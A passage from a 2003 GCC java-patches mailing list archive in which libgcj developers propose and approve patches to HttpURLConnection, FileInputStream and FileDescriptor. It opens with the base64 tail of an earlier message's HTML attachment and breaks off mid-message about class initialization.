ICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxw YWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCIgY2xhc3M9ImNvbnRlbnRfdHgiPg0KICAgICAg ICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZD5XZSBtYWtl IGNoaXBzZXRzIGZvciBNYWluYm9hcmQvVkdBIGNhcmRzIGFuZCBuZXZlciBtYW51ZmF0dXJl IA0KICAgICAgICAgICAgICAgICAgICAgICAgdGhlc2UgYm9hcmRzIG9yIGNhcmRzLlJldGFp bCBtYW51ZmFjdHVyZXIgb2Z0ZW4gY3VzdG9taXplIA0KICAgICAgICAgICAgICAgICAgICAg ICAgU2lTJ3MgY2hpcHNldCBoYXJkd2FyZSBhbmQgc29mdHdhcmUgZm9yIHRoZWlyIHBhcnRp Y3VsYXIgDQogICAgICAgICAgICAgICAgICAgICAgICBzeXN0ZW0gb3IgY29uZmlndXJhdGlv biwgc28gZHJpdmVycyBvbiB0aGlzIHNpdGUgbWF5IG5vdCANCiAgICAgICAgICAgICAgICAg ICAgICAgIHdvcmsgd2l0aCB5b3VyIHN5c3RlbS4gPHA+WW91ciBtYW51ZmFjdHVyZXIgaXMg dGhlIGJlc3QgDQogICAgICAgICAgICAgICAgICAgICAgICAgIHNvdXJjZSBvZiBpbmZvcm1h dGlvbiBmb3IgcHJvZHVjdCBpbmZvcm1hdGlvbiBhbmQgc3VwcG9ydC4gDQogICAgICAgICAg ICAgICAgICAgICAgICAgIFBsZWFzZSBvYnRhaW4gdGVjaG5pY2FsIGFzc2lzdGFuY2UgZnJv bSB5b3VyIGJvYXJkIG9yIA0KICAgICAgICAgICAgICAgICAgICAgICAgICBjYXJkIG1hbnVm YWN0dXJlcnMgYmVmb3JlIGluc3RhbGxpbmcgU2lTIGRyaXZlcnMuIDwvcD4NCiAgICAgICAg ICAgICAgICAgICAgICAgIDxwPlNpUyBjYW4gbm90IGFuc3dlciBzeXN0ZW0gcmVsYXRlZCBx dWVzdGlvbnMgb3Igc2V0dXAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIG9mIHNvZnR3 YXJlIHNoaXBwZWQgd2l0aCB5b3VyIHByb2R1Y3RzLiBUaGVyZWZvcmUgd2UgDQogICAgICAg ICAgICAgICAgICAgICAgICAgIGRvbid0IGd1YXJhbnRlZSB0aGVzZSBkcml2ZXJzIHdpbGwg d29yayBmaW5lIG9uIHlvdXIgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGN1c3RvbWl6 ZWQgc3lzdGVtcyBhbmQgd2UgYXNzdW1lIG5vIHJlc3BvbnNpYmlsaXR5IGZvciANCiAgICAg ICAgICAgICAgICAgICAgICAgICAgYW55IHByb2JsZW1zIHdoaWNoIG1heSBvY2N1ciB0byB5 b3VyIHN5c3RlbSB1cG9uIHRoZSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgaW5zdGFs bGF0aW9uIG9mIFNpUyBkcml2ZXJzLi48L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8 cCBhbGlnbj0icmlnaHQiPjxpbWcgc3JjPSJ1aV9pbWFnZXMvYm5fZ28uZ2lmIiB3aWR0aD0i MjAiIGhlaWdodD0iMjAiIGFsaWduPSJ0b3AiPiANCiAgICAgICAgICAgICAgICAgICAgICAg ICAgPGEgaHJlZj0iZHJpdmVyX3NlbGVjdC5qc3AiPjxpbWcgc3JjPSJ1aV9pbWFnZXMvYm5f ZHJpdmVyc19kbF9vZmYuZ2lmIiBuYW1lPSJibl9kcml2ZXJzX2RsIiB3aWR0aD0iMjcxIiBo ZWlnaHQ9IjIzIiBib3JkZXI9IjAiIGlkPSJibl9kcml2ZXJzX2RsIiBvbk1vdXNlT3Zlcj0i TU1fc3dhcEltYWdlKCdibl9kcml2ZXJzX2RsJywnJywndWlfaW1hZ2VzL2JuX2RyaXZlcnNf ZGxfb24uZ2lmJywxKSIgb25Nb3VzZU91dD0iTU1fc3dhcEltZ1Jlc3RvcmUoKSI+PC9hPjxC Uj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvcD48L3RkPg0KICAgICAgICAgICAgICAg ICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgICAg ICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2Vs bHNwYWNpbmc9IjAiPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAg ICAgICAgICAgIDx0ZCB3aWR0aD0iMTAwIiBiYWNrZ3JvdW5kPSJ1aV9pbWFnZXMvYmFyX2Nv bnRlbnRfbGluZV8wMS5naWYiPjxpbWcgc3JjPSJ1aV9pbWFnZXMvc3BhY2VyLmdpZiIgd2lk dGg9IjEwIiBoZWlnaHQ9IjEwIj48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0K ICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPg0KICAgICAgICAgICAgICA8L3RyPg0K ICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgPHRk IGJhY2tncm91bmQ9ImltYWdlcy9saW5lXzA1LmdpZiI+Jm5ic3A7PC90ZD4NCiAgICAgICAg PC90cj4NCiAgICAgIDwvdGFibGU+DQogICAgPC90ZD4NCiAgPC90cj4NCiAgPHRyPiANCiAg ICA8dGQgYmFja2dyb3VuZD0iaW1hZ2VzL2xheV9iZ2suZ2lmIiBhbGlnbj0ibGVmdCIgdmFs aWduPSJ0b3AiPg0KICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxz cGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVpZ2h0PSIyNSI+DQogICAgICAgIDx0cj4g DQogICAgICAgICAgPHRkIHdpZHRoPSI2MiIgaGVpZ2h0PSIyNSIgYWxpZ249ImxlZnQiIHZh bGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNpcy5jb20vcHJpdmFjeS9pbmRleC5o dG0iIG9uTW91c2VPdXQ9Ik1NX3N3YXBJbWdSZXN0b3JlKCkiIG9uTW91c2VPdmVyPSJNTV9z d2FwSW1hZ2UoJ0ltYWdlNycsJycsJ2ltYWdlcy9wcml2YWN5X29uLmdpZicsMSkiIHRhcmdl dD0iX3RvcCI+PGltZyBuYW1lPSJJbWFnZTciIGJvcmRlcj0iMCIgc3JjPSJpbWFnZXMvcHJp dmFjeV9vZmYuZ2lmIiB3aWR0aD0iNjIiIGhlaWdodD0iMTkiPjwvYT48L3RkPg0KICAgICAg ICAgIDx0ZCB3aWR0aD0iMTA1IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9 Imh0dHA6Ly93d3cuc2lzLmNvbS90ZXJtc29mdXNlL2luZGV4Lmh0bSIgb25Nb3VzZU91dD0i TU1fc3dhcEltZ1Jlc3RvcmUoKSIgb25Nb3VzZU92ZXI9Ik1NX3N3YXBJbWFnZSgnSW1hZ2U4 JywnJywnaW1hZ2VzL3Rlcm1zLW9mLXVzZV9vbi5naWYnLDEpIiB0YXJnZXQ9Il90b3AiPjxp bWcgbmFtZT0iSW1hZ2U4IiBib3JkZXI9IjAiIHNyYz0iaW1hZ2VzL3Rlcm1zLW9mLXVzZV9v ZmYuZ2lmIiB3aWR0aD0iMTAyIiBoZWlnaHQ9IjE5Ij48L2E+PC90ZD4NCiAgICAgICAgICA8 dGQ+IA0KICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiIGNsYXNzPSJjb3B5cmlnaHRf Zm9udHMiPkFsbCBSaWdodHMgUmVzZXJ2ZWQuIENvcHlyaWdodCANCiAgICAgICAgICAgICAg JmNvcHk7IFNpbGljb24gSW50ZWdyYXRlZCBTeXN0ZW1zIENvcnBvcmF0aW9uLjwvZGl2Pg0K ICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgPHRkIHdpZHRoPSIxMCI+IA0KICAgICAgICAg ICAgPGRpdiBhbGlnbj0icmlnaHQiIGNsYXNzPSJjb3B5cmlnaHRfZm9udHMiPjwvZGl2Pg0K ICAgICAgICAgIDwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICA8L3RhYmxlPg0KICAgIDwv dGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPGRpdiBpZD0iTGF5ZXIxIiBzdHlsZT0icG9zaXRp b246YWJzb2x1dGU7IGxlZnQ6N3B4OyB0b3A6MTUzcHg7IHdpZHRoOjE0MDsgaGVpZ2h0OjE5 OyB6LWluZGV4OjEiPjxiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2lzLmNvbS9kZHIvZGRyX3Zh bGlkYXRpb24uaHRtIiBjbGFzcz0ibGVmdF9idXR0b25fZm9udCIgdGFyZ2V0PSJfdG9wIj5N ZW1vcnkgDQogIFZhbGlkYXRpb248L2E+PC9iPjwvZGl2Pg0KPGRpdiBpZD0iTGF5ZXIyIiBz dHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6N3B4OyB0b3A6MTczcHg7IHdpZHRoOjE0 MDsgaGVpZ2h0OjE5OyB6LWluZGV4OjIiPjxiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2lzLmNv bS9jb250YWN0L2luZGV4Lmh0bSIgY2xhc3M9ImxlZnRfYnV0dG9uX2ZvbnQiIHRhcmdldD0i X3RvcCI+Q29udGFjdCANCiAgSW5mb3JtYXRpb248L2E+PC9iPjwvZGl2Pg0KPGRpdiBpZD0i TGF5ZXIzIiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6N3B4OyB0b3A6MTk0cHg7 IHdpZHRoOjE0MDsgaGVpZ2h0OjE5OyB6LWluZGV4OjMiPjxiPjxhIGhyZWY9Imh0dHA6Ly93 d3cuc2lzLmNvbS9uZXdzL3Jldmlld3MuaHRtIiBjbGFzcz0ibGVmdF9idXR0b25fZm9udCIg dGFyZ2V0PSJfdG9wIj4gDQogIFJldmlld3M8L2E+PC9iPjwvZGl2Pg0KPC9ib2R5Pg0KPC9o dG1sPg0K --V6820sS60A833n7-- From java-patches-return-5729-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 18:44:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1135 invoked by alias); 2 Jan 2003 18:44:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1123 invoked from network); 2 Jan 2003 18:44:43 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 2 Jan 2003 18:44:43 -0000 Received: from fleche.redhat.com (tz0077.peakpeak.com [207.174.69.77]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA05441; Thu, 2 Jan 2003 11:44:30 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1482F4F8087; Thu, 2 Jan 2003 11:47:09 -0700 (MST) To: Mark Wielaard Cc: Artur Biesiadowski , java-patches@gcc.gnu.org, classpath@gnu.org Subject: Re: ZipFile patch (Was: eclipse status) References: <1040605813.760.55.camel@elsschot> <1040614353.16983.66.camel@escape> <1040616449.16986.76.camel@escape> <1040691492.6675.24.camel@elsschot> <1040692861.16983.255.camel@escape> <1040721048.12113.22.camel@elsschot> <87el7yk3u7.fsf@fleche.redhat.com> <1041514957.20751.92.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My mind is making ashtrays in Dayton.... Date: 02 Jan 2003 11:47:09 -0700 In-Reply-To: <1041514957.20751.92.camel@elsschot> Message-ID: <87adijtmmq.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> Would it be OK to check this in libgcj (main and branch) and Mark> Classpath for now since it speeds up zip file reading so much? Yes, please do. Thanks. Tom From java-patches-return-5730-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 22:50:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9449 invoked by alias); 2 Jan 2003 22:50:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9433 invoked from network); 2 Jan 2003 22:50:21 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 209.249.29.67 with SMTP; 2 Jan 2003 22:50:21 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18UE9j-0002VL-00 for ; Thu, 02 Jan 2003 23:49:39 +0100 Subject: HttpURLConnection remerge with Classpath From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-wW0zNDsw8xC8Km2DfUJ2" Organization: Message-Id: <1041547808.20752.119.camel@elsschot> Mime-Version: 1.0 Date: 02 Jan 2003 23:50:08 +0100 --=-wW0zNDsw8xC8Km2DfUJ2 Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following adds some fixes from Classpath to HttpURLConnection. 2003-01-02 Mark Wielaard * java/net/HttpURLConnection.java (HTTP_NOT_IMPLEMENTED): Must be public. (HTTP_USE_PROXY): Add field. (getResponseVals): Only set responseCode when not yet explicitly set by subclass. OK to commit to mainline and branch? Cheers, Mark --=-wW0zNDsw8xC8Km2DfUJ2 Content-Disposition: inline; filename=HttpURLConnection.patch Content-Type: text/x-patch; name=HttpURLConnection.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/net/HttpURLConnection.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/HttpURLConnection.java,v retrieving revision 1.9 diff -u -r1.9 HttpURLConnection.java --- java/net/HttpURLConnection.java 17 Nov 2002 16:16:52 -0000 1.9 +++ java/net/HttpURLConnection.java 2 Jan 2003 22:49:18 -0000 @@ -142,6 +142,11 @@ * a conditional GET. */ public static final int HTTP_NOT_MODIFIED = 304; + + /** + * The requested resource needs to be accessed through a proxy. + */ + public static final int HTTP_USE_PROXY = 305; /* HTTP Client Error Response Codes */ @@ -250,7 +255,7 @@ * The server does not support the requested functionality. * @since 1.3 */ - static final int HTTP_NOT_IMPLEMENTED = 501; + public static final int HTTP_NOT_IMPLEMENTED = 501; /** * The proxy encountered a bad response from the server it was proxy-ing for @@ -459,31 +464,36 @@ connect(); gotResponseVals = true; - // Response is the first header received from the connection. - String respField = getHeaderField(0); - - if (respField == null || ! respField.startsWith("HTTP/")) - { - // Set to default values on failure. - responseCode = -1; - responseMessage = null; - return; - } - - int firstSpc, nextSpc; - firstSpc = respField.indexOf(' '); - nextSpc = respField.indexOf(' ', firstSpc + 1); - responseMessage = respField.substring(nextSpc + 1); - String codeStr = respField.substring(firstSpc + 1, nextSpc); - try - { - responseCode = Integer.parseInt(codeStr); - } - catch (NumberFormatException e) + + // If responseCode not yet explicitly set by subclass + if (responseCode == -1) { - // Set to default values on failure. - responseCode = -1; - responseMessage = null; + // Response is the first header received from the connection. + String respField = getHeaderField(0); + + if (respField == null || ! respField.startsWith("HTTP/")) + { + // Set to default values on failure. + responseCode = -1; + responseMessage = null; + return; + } + + int firstSpc, nextSpc; + firstSpc = respField.indexOf(' '); + nextSpc = respField.indexOf(' ', firstSpc + 1); + responseMessage = respField.substring(nextSpc + 1); + String codeStr = respField.substring(firstSpc + 1, nextSpc); + try + { + responseCode = Integer.parseInt(codeStr); + } + catch (NumberFormatException e) + { + // Set to default values on failure. + responseCode = -1; + responseMessage = null; + } } } --=-wW0zNDsw8xC8Km2DfUJ2-- From java-patches-return-5731-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 23:14:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22875 invoked by alias); 2 Jan 2003 23:14:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22867 invoked from network); 2 Jan 2003 23:14:06 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 209.249.29.67 with SMTP; 2 Jan 2003 23:14:06 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18UEWi-0002aQ-00 for ; Fri, 03 Jan 2003 00:13:24 +0100 Subject: java.io fix and speedup From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: text/plain Organization: Message-Id: <1041549233.20966.136.camel@elsschot> Mime-Version: 1.0 Date: 03 Jan 2003 00:13:53 +0100 Content-Transfer-Encoding: 7bit Hi, The following fixes a small issue in FileInputStream. When FileInputStream was finalized it would also force the finalization of the underlying FileDescriptor. But the FileDescriptor could have been shared with other FileInputStreams or RandomAccessFiles. The patch makes the behaviour the same as for FileOutputStream.finalize(), which means a noop. It also makes FileDescriptor a little bit more efficient by making less system calls. (I only changed the Posix version.) This gives me a small (~1%) speedup in IO intensive programs. 2003-01-02 Mark Wielaard * java/io/FileInputStream.java (finalize): Don't explicitly finalize FileDescriptor. * java/io/FileDescriptor.java (position): New private field. * java/io/natFileDescriptorPosix.cc (write): Up position. (setLength): Use and set position. (seek): Set position. (getFilePointer): Return position. (read): Up position. OK for branch and mainline? Cheers, Mark From java-patches-return-5732-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 23:48:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32261 invoked by alias); 2 Jan 2003 23:48:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32246 invoked from network); 2 Jan 2003 23:48:18 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 209.249.29.67 with SMTP; 2 Jan 2003 23:48:18 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18UF3n-0002bi-00 for ; Fri, 03 Jan 2003 00:47:35 +0100 Subject: Re: java.io fix and speedup From: Mark Wielaard To: java-patches@gcc.gnu.org In-Reply-To: <1041549233.20966.136.camel@elsschot> References: <1041549233.20966.136.camel@elsschot> Content-Type: multipart/mixed; boundary="=-E2xMl49/kWj3o/Zmduku" Organization: Message-Id: <1041551284.20751.139.camel@elsschot> Mime-Version: 1.0 Date: 03 Jan 2003 00:48:04 +0100 --=-E2xMl49/kWj3o/Zmduku Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, On Fri, 2003-01-03 at 00:13, Mark Wielaard wrote: > 2003-01-02 Mark Wielaard > > * java/io/FileInputStream.java (finalize): Don't explicitly > finalize FileDescriptor. > * java/io/FileDescriptor.java (position): New private field. > * java/io/natFileDescriptorPosix.cc (write): Up position. > (setLength): Use and set position. > (seek): Set position. > (getFilePointer): Return position. > (read): Up position. > > OK for branch and mainline? And now with patch. Sorry, Mark --=-E2xMl49/kWj3o/Zmduku Content-Disposition: inline; filename=java_io.patch Content-Type: text/plain; name=java_io.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit ? java/io/ObjectStreamField.java.merged Index: java/io/FileDescriptor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileDescriptor.java,v retrieving revision 1.10 diff -u -r1.10 FileDescriptor.java --- java/io/FileDescriptor.java 24 Jul 2002 17:48:41 -0000 1.10 +++ java/io/FileDescriptor.java 2 Jan 2003 23:06:09 -0000 @@ -1,6 +1,6 @@ // FileDescriptor.java - Open file or device -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -101,4 +101,6 @@ // we want to make sure this has the value -1. This is the most // efficient way to accomplish that. private int fd = -1; + + private long position = 0; } Index: java/io/FileInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileInputStream.java,v retrieving revision 1.8 diff -u -r1.8 FileInputStream.java --- java/io/FileInputStream.java 20 Nov 2002 16:19:05 -0000 1.8 +++ java/io/FileInputStream.java 2 Jan 2003 23:06:09 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1998, 1999, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -61,8 +61,8 @@ protected void finalize() throws IOException { - if (fd != null) - fd.finalize(); + // We don't actually need this, but we include it because it is + // mentioned in the JCL. } public final FileDescriptor getFD() throws IOException Index: java/io/natFileDescriptorPosix.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFileDescriptorPosix.cc,v retrieving revision 1.23 diff -u -r1.23 natFileDescriptorPosix.cc --- java/io/natFileDescriptorPosix.cc 10 Nov 2002 22:23:53 -0000 1.23 +++ java/io/natFileDescriptorPosix.cc 2 Jan 2003 23:06:09 -0000 @@ -1,6 +1,6 @@ // natFileDescriptor.cc - Native part of FileDescriptor class. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -147,6 +147,7 @@ throw new IOException (JvNewStringLatin1 (strerror (errno))); } } + position++; } void @@ -177,6 +178,7 @@ written += r; len -= r; bytes += r; + position += r; } } @@ -193,7 +195,6 @@ java::io::FileDescriptor::setLength (jlong pos) { struct stat sb; - off_t orig; #ifdef HAVE_FTRUNCATE if (::fstat (fd, &sb)) @@ -202,10 +203,6 @@ if ((jlong) sb.st_size == pos) return; - orig = ::lseek (fd, (off_t) 0, SEEK_CUR); - if (orig == -1) - throw new IOException (JvNewStringLatin1 (strerror (errno))); - // If the file is too short, we extend it. We can't rely on // ftruncate() extending the file. So we lseek() to 1 byte less // than we want, and then we write a single byte at the end. @@ -215,11 +212,15 @@ throw new IOException (JvNewStringLatin1 (strerror (errno))); char out = '\0'; int r = ::write (fd, &out, 1); - if (r <= 0 || ::lseek (fd, orig, SEEK_SET) == -1) + if (r <= 0 || ::lseek (fd, position, SEEK_SET) == -1) throw new IOException (JvNewStringLatin1 (strerror (errno))); } - else if (::ftruncate (fd, (off_t) pos)) - throw new IOException (JvNewStringLatin1 (strerror (errno))); + else + { + if (::ftruncate (fd, (off_t) pos)) + throw new IOException (JvNewStringLatin1 (strerror (errno))); + position = pos; + } #else /* HAVE_FTRUNCATE */ throw new IOException (JvNewStringLatin1 ("FileDescriptor.setLength not implemented")); #endif /* HAVE_FTRUNCATE */ @@ -230,19 +231,29 @@ { JvAssert (whence == SET || whence == CUR); - jlong len = length (); - jlong here = getFilePointer (); - - if (eof_trunc - && ((whence == SET && pos > len) || (whence == CUR && here + pos > len))) + if (eof_trunc) { - whence = SET; - pos = len; + jlong len = length (); + if (whence == SET) + { + if (pos > len) + pos = len; + } + else + { + jlong here = getFilePointer (); + if (here + pos > len) + { + pos = len; + whence = SET; + } + } } off_t r = ::lseek (fd, (off_t) pos, whence == SET ? SEEK_SET : SEEK_CUR); if (r == -1) throw new IOException (JvNewStringLatin1 (strerror (errno))); + position = r; return r; } @@ -258,10 +269,7 @@ jlong java::io::FileDescriptor::getFilePointer (void) { - off_t r = ::lseek (fd, 0, SEEK_CUR); - if (r == -1) - throw new IOException (JvNewStringLatin1 (strerror (errno))); - return r; + return position; } jint @@ -282,6 +290,7 @@ } throw new IOException (JvNewStringLatin1 (strerror (errno))); } + position++; return b & 0xFF; } @@ -313,6 +322,7 @@ } throw new IOException (JvNewStringLatin1 (strerror (errno))); } + position += r; return r; } --=-E2xMl49/kWj3o/Zmduku-- From java-patches-return-5733-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 00:24:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14134 invoked by alias); 3 Jan 2003 00:24:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14124 invoked from network); 3 Jan 2003 00:24:20 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 209.249.29.67 with SMTP; 3 Jan 2003 00:24:20 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h030JX132394 for ; Thu, 2 Jan 2003 19:19:33 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h030O8n04545; Thu, 2 Jan 2003 19:24:08 -0500 Received: from [192.168.64.12] (vpn50-20.rdu.redhat.com [172.16.50.20]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h030O6n01126; Thu, 2 Jan 2003 16:24:06 -0800 Subject: Re: Patch: fix and speed-up object marking From: Anthony Green To: Tom Tromey Cc: java-patches@gcc.gnu.org In-Reply-To: <87hecwyr62.fsf@fleche.redhat.com> References: <1040632620.16983.209.camel@escape> <87hecwyr62.fsf@fleche.redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Message-Id: <1041538221.1213.5.camel@escape> Mime-Version: 1.0 Date: 02 Jan 2003 16:26:16 -0800 On Sun, 2002-12-29 at 22:08, Tom Tromey wrote: > Anthony> 2002-12-22 Anthony Green > Anthony> * boehm.cc (_Jv_MarkObj): Mark the protectionDomain of a class. > Anthony> Speed up marking. > Anthony> (_Jv_MarkArray): Speed up marking. > > Definitely check this in. Thanks! I'll commit the bug-fix part today. Hans had some concerns about the optimizations. I will try measuring things before proposing this change again. AG From java-patches-return-5734-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 00:34:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19669 invoked by alias); 3 Jan 2003 00:34:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19661 invoked from network); 3 Jan 2003 00:34:18 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 3 Jan 2003 00:34:18 -0000 Received: from fleche.redhat.com (tz0077.peakpeak.com [207.174.69.77]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA13772; Thu, 2 Jan 2003 17:34:05 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id EDD544F8087; Thu, 2 Jan 2003 17:36:49 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: HttpURLConnection remerge with Classpath References: <1041547808.20752.119.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Zippy's brain cells are straining to bridge synapses... Date: 02 Jan 2003 17:36:49 -0700 In-Reply-To: <1041547808.20752.119.camel@elsschot> Message-ID: <874r8rrrvi.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> The following adds some fixes from Classpath to HttpURLConnection. Mark> OK to commit to mainline and branch? Yes, thanks. Tom From java-patches-return-5735-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 05:44:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6234 invoked by alias); 3 Jan 2003 05:44:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6226 invoked from network); 3 Jan 2003 05:44:47 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 209.249.29.67 with SMTP; 3 Jan 2003 05:44:47 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h035iZK19816 for ; Fri, 3 Jan 2003 00:44:35 -0500 Date: Fri, 3 Jan 2003 00:44:35 -0500 (EST) From: Jeff Sturm To: java-patches@gcc.gnu.org Subject: Class initialization, take two Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII My last classloader patch inadvertently broke Kawa builds. This corrects it and also improves support for -fno-assume-compiled. The old sequence of class initialization was: a) prepare class (resolve constant pool entries) b) build tables (ancestors, vtable, etc.) c) initialize superclass d) invoke For -fno-assume-compiled, b) must come after linking, and linking is a side effect of c). So the order changed to a, c, b, d. However that means we can see a class with no ancestor table, if it is 